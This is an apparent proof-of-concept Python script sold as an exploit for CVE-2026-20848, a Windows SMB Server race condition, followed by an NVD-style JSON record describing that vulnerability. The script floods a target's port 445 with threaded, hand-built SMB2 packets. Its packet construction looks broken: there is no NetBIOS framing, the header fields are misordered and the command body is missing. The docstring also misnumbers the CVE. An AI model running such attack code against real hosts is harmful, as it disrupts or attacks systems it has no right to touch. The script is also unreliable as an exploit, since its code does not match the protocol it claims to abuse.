CVE-2026-20848

# CVE-2026-20848 Windows SMB Server Race Condition PoC # This PoC demonstrates the race condition in SMB Server concurrent request handling import socket import struct import time import threading def create_smb_negotiate_packet(): """Create SMB2 NEGOTIATE request packet""" # SMB2 Header packet = b'\xfe\x53\x4d\x42' # Protocol ID packet += struct.pack('<H', 64) # Structure Size packet += b'\x00\x00' # Credit Charge packet += struct.pack('<I', 0) # Status packet += struct.pack('<H', 0) # Command packet += b'\x00\x00' # Credits packet += b'\x00\x00\x00\x00' # Flags packet += b'\x00\x00\x00\x00' # NextCommand packet += b'\x00\x00\x00\x00\x00\x00\x00\x00' # MessageId packet += b'\x00\x00' # Reserved packet += struct.pack('<I', 0) # TreeId packet += b'\x00\x00\x00\x00\x00\x00\x00\x00' # SessionId packet += b'\x00' * 16 # Signature packet += b'\x00' * 32 # Reserved return packet def create_race_trigger_request(session_id, tree_id, request_id): """Create SMB request designed to trigger race condition""" packet = b'\xfe\x53\x4d\x42' # SMB2 Header packet += struct.pack('<H', 64) # Structure Size packet += struct.pack('<H', 1) # Credit Charge (high value for concurrency) packet += struct.pack('<I', 0) # Status packet += struct.pack('<H', 5) # Tree Connect Command packet += struct.pack('<H', 0) # Credits packet += struct.pack('<I', 0x0001) # Flags packet += struct.pack('<Q', request_id) # MessageId packet += struct.pack('<I', tree_id) # TreeId packet += struct.pack('<Q', session_id) # SessionId packet += b'\x00' * 16 # Signature return packet def smb_connection_thread(target_ip, thread_id, results): """Thread function to establish SMB connection and send race trigger""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, 445)) # Send NEGOTIATE request negotiate_packet = create_smb_negotiate_packet() sock.send(negotiate_packet) # Receive response response = sock.recv(1024) # Send multiple concurrent requests to trigger race condition for i in range(10): race_packet = create_race_trigger_request( session_id=thread_id * 1000 + i, tree_id=1, request_id=i ) sock.send(race_packet) time.sleep(0.001) # Minimal delay to increase race condition probability results[thread_id] = {'status': 'exploit_sent', 'thread_id': thread_id} sock.close() except Exception as e: results[thread_id] = {'status': 'error', 'error': str(e)} def exploit_cve_2026_20848(target_ip, num_threads=10): """ Exploit CVE-2026-20248: Windows SMB Server Race Condition This PoC sends concurrent SMB requests to trigger the race condition in Windows SMB Server's shared resource synchronization. Note: This is for educational and authorized testing purposes only. """ print(f"[*] Starting CVE-2026-20848 exploitation against {target_ip}") print(f"[*] Launching {num_threads} concurrent threads to trigger race condition") results = {} threads = [] # Launch concurrent threads to maximize race condition probability for i in range(num_threads): t = threading.Thread(target=smb_connection_thread, args=(target_ip, i, results)) threads.append(t) t.start() # Wait for all threads to complete for t in threads: t.join() print("[*] Exploitation attempt completed") print(f"[*] Results: {results}") print("[*] Note: Successful exploitation requires precise timing and specific conditions") return results if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_20848.py <target_ip>") sys.exit(1) target = sys.argv[1] exploit_cve_2026_20848(target)

{"cve": {"id": "CVE-2026-20848", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:13.310", "lastModified": "2026-01-15T14:03:20.070", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrent execution using shared resource with improper synchronization ('race condition') in Windows SMB Server allows an authorized attacker to elevate privileges over a network."}, {"lang": "es", "value": "Ejecución concurrente utilizando un recurso compartido con sincronización inadecuada ('condición de carrera') en el servidor SMB de Windows permite a un atacante autorizado elevar privilegios a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "9A956D23-259E-450B-8406-FEB2BBED1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "41D387B9-5E9D-47CB-B044-D7D10FFFB458"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x64:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "DD4CBDAB-7626-4048-8474-B1BD9C1F3255"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:x86:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A6D4C631-2CC0-407C-9ACA-7C151006598C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6809", "matchCriteriaId": "1895E186-5B2E-43CC-AF1F-B5C95419D8C5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6809", "matchCriteriaId": "B7CB5184-1BA1-4D71-8AE3-CF4C6B63A469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6491", "matchCriteriaId": "8D675DAA-4DCE-4727-BE5F-C954BBD252C4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "D249551B-1433-4E5E-A587-40F782E91E09"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.7623", "matchCriteriaId": "22082D4E-E68F-4E48-98FB-42DFDEE2E2A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8783", "matchCriteriaId": "A059E609-F8D4-4246-BDAE-0AEDED1744D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.8276", "matchCriteriaId": "A74970A1-CC81-4482-B465-8382B1544EF3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4648", "matchCriteriaId": "C4AA6991-DE34-48F6-AFD3-77CEE7FBB692"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.2092", "matchCriteriaId": "BA5947E0-C44C-4517-A307-DA79752F30A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.7623", "matchCriteriaId": "C6BE8CAC-3A47-48FC-A0FD-F0F0ADD2A9CE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20848", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}